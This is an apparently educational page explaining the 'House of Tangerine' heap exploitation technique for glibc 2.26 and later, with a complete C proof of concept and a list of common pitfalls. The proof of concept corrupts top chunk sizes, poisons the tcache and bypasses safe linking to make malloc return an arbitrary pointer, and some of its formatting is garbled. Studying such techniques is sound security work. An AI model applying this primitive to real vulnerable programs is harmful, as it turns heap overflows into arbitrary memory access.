The House of Tangerine is a modern heap exploitation technique that serves as the successor to House of Orange for glibc 2.26+. Like its predecessor, it exploits the top chunk (wilderness) without calling free() directly, but uses tcache poisoning instead of FILE structure exploitation to achieve arbitrary allocation.
This technique was inspired by the PicoCTF 2024 challenge “High Frequency Troubles” and represents the modern evolution of top chunk exploitation.
Allocate a large chunk to force sysmalloc to free the old top chunk.
// Allocate larger than corrupted top sizeheap_ptr = malloc(SIZE_3); // SIZE_3 > available top size// Old top chunk is now freed!// Size calculation ensures it goes to tcache
3
Corrupt second top chunk
Use overflow again to corrupt the new top chunk size.
#define _GNU_SOURCE#include <stdio.h>#include <string.h>#include <assert.h>#include <malloc.h>#include <unistd.h>#define SIZE_SZ sizeof(size_t)#define CHUNK_HDR_SZ (SIZE_SZ*2)#define MALLOC_ALIGN 0x10L#define MALLOC_MASK (-MALLOC_ALIGN)#define PAGESIZE sysconf(_SC_PAGESIZE)#define PAGE_MASK (PAGESIZE-1)#define FENCEPOST (2*CHUNK_HDR_SZ)#define PROBE (0x20-CHUNK_HDR_SZ)// size used for poisoned tcache#define CHUNK_SIZE_1 0x40#define SIZE_1 (CHUNK_SIZE_1-CHUNK_HDR_SZ)// could also be split into multiple lower size allocations#define CHUNK_SIZE_3 (PAGESIZE-(2*MALLOC_ALIGN)-CHUNK_SIZE_1)#define SIZE_3 (CHUNK_SIZE_3-CHUNK_HDR_SZ)/** * Tested on GLIBC 2.34 (x86_64, x86 & aarch64) & 2.39 (x86_64, x86 & aarch64) * * House of Tangerine is the modernized version of House of Orange * and is able to corrupt heap without needing to call free() directly * * it uses the _int_free call to the top_chunk (wilderness) in sysmalloc * https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2913 * * tcache-poisoning is used to trick malloc into returning a malloc aligned arbitrary pointer * by abusing the tcache freelist. (requires heap leak on and after 2.32) * * This version requires 5 (6*) malloc calls and 3 OOB * * *to make the PoC more reliable we need to malloc and probe the current top chunk size, * this should be predictable in an actual exploit and therefore, can be removed to get 5 malloc calls instead * * Special Thanks to pepsipu for creating the challenge "High Frequency Troubles" * from Pico CTF 2024 that inspired this exploitation technique */int main() { size_t size_2, *top_size_ptr, top_size, new_top_size, freed_top_size, vuln_tcache, target, *heap_ptr; char win[0x10] = "WIN\0WIN\0WIN\0\x06\xfe\x1b\xe2"; // disable buffering setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stderr, NULL, _IONBF, 0); // check if all chunks sizes are aligned assert((CHUNK_SIZE_1 & MALLOC_MASK) == CHUNK_SIZE_1); assert((CHUNK_SIZE_3 & MALLOC_MASK) == CHUNK_SIZE_3); puts("Constants:"); printf("chunk header = 0x%lx\n", CHUNK_HDR_SZ); printf("malloc align = 0x%lx\n", MALLOC_ALIGN); printf("page align = 0x%lx\n", PAGESIZE); printf("fencepost size = 0x%lx\n", FENCEPOST); printf("size_1 = 0x%lx\n", SIZE_1); printf("target tcache top size = 0x%lx\n", CHUNK_HDR_SZ + MALLOC_ALIGN + CHUNK_SIZE_1); // target is malloc aligned 0x10 target = ((size_t) win + (MALLOC_ALIGN - 1)) & MALLOC_MASK; // probe the current size of the top_chunk (optional if size is known) heap_ptr = malloc(PROBE); top_size = heap_ptr[(PROBE / SIZE_SZ) + 1]; printf("first top size = 0x%lx\n", top_size); // calculate size_2 to make freed top chunk land in tcache size_2 = top_size - CHUNK_HDR_SZ - (2 * MALLOC_ALIGN) - CHUNK_SIZE_1; size_2 &= PAGE_MASK; // Keep page alignment size_2 &= MALLOC_MASK; // Keep malloc alignment printf("size_2 = 0x%lx\n", size_2); // first allocation heap_ptr = malloc(size_2); // use BOF or OOB to corrupt the top_chunk top_size_ptr = &heap_ptr[(size_2 / SIZE_SZ) - 1 + (MALLOC_ALIGN / SIZE_SZ)]; top_size = *top_size_ptr; printf("first top size = 0x%lx\n", top_size); // make sure corrupt top size is page aligned, generally 0x1000 new_top_size = top_size & PAGE_MASK; *top_size_ptr = new_top_size; printf("new first top size = 0x%lx\n", new_top_size); // remove fencepost from top_chunk, to get size that will be freed freed_top_size = (new_top_size - FENCEPOST) & MALLOC_MASK; assert(freed_top_size == CHUNK_SIZE_1); /* * malloc (larger than available_top_size), to free previous top_chunk using _int_free. * This happens inside sysmalloc, where the top_chunk gets freed if it can't be merged */ printf("size_3 = 0x%lx\n", SIZE_3); heap_ptr = malloc(SIZE_3); top_size = heap_ptr[(SIZE_3 / SIZE_SZ) + 1]; printf("current top size = 0x%lx\n", top_size); // corrupt second top chunk size (keep page alignment) new_top_size = top_size & PAGE_MASK; heap_ptr[(SIZE_3 / SIZE_SZ) + 1] = new_top_size; printf("new top size = 0x%lx\n", new_top_size); // remove fencepost from top_chunk freed_top_size = (new_top_size - FENCEPOST) & MALLOC_MASK; printf("freed top_chunk size = 0x%lx\n", freed_top_size); assert(freed_top_size == CHUNK_SIZE_1); // this will be our vuln_tcache for tcache poisoning vuln_tcache = (size_t) &heap_ptr[(SIZE_3 / SIZE_SZ) + 2]; printf("tcache next ptr: 0x%lx\n", vuln_tcache); // free the previous top_chunk again heap_ptr = malloc(SIZE_3); // corrupt next ptr into pointing to target // use a heap leak to bypass safe linking (GLIBC >= 2.32) heap_ptr[(vuln_tcache - (size_t) heap_ptr) / SIZE_SZ] = target ^ (vuln_tcache >> 12); // allocate first tcache (corrupt next tcache bin) heap_ptr = malloc(SIZE_1); // get arbitrary ptr for reads or writes heap_ptr = malloc(SIZE_1); // proof that heap_ptr now points to the same string as target assert((size_t) heap_ptr == target); puts((char *) heap_ptr);}
Size Alignment Errors: The most complex part is calculating size_2 correctly. Remember to apply both PAGE_MASK and MALLOC_MASK to ensure proper alignment.
Safe Linking Without Heap Leak: On glibc 2.32+, attempting tcache poisoning without a heap leak will result in corruption that crashes on allocation.
Target Misalignment: The target address must be malloc-aligned (16 bytes on x64). Use (addr + 0xF) & ~0xF to align.
Forgetting Fencepost: The freed size is (top_size - FENCEPOST) & MALLOC_MASK, not just top_size. Account for the 0x20 byte fencepost.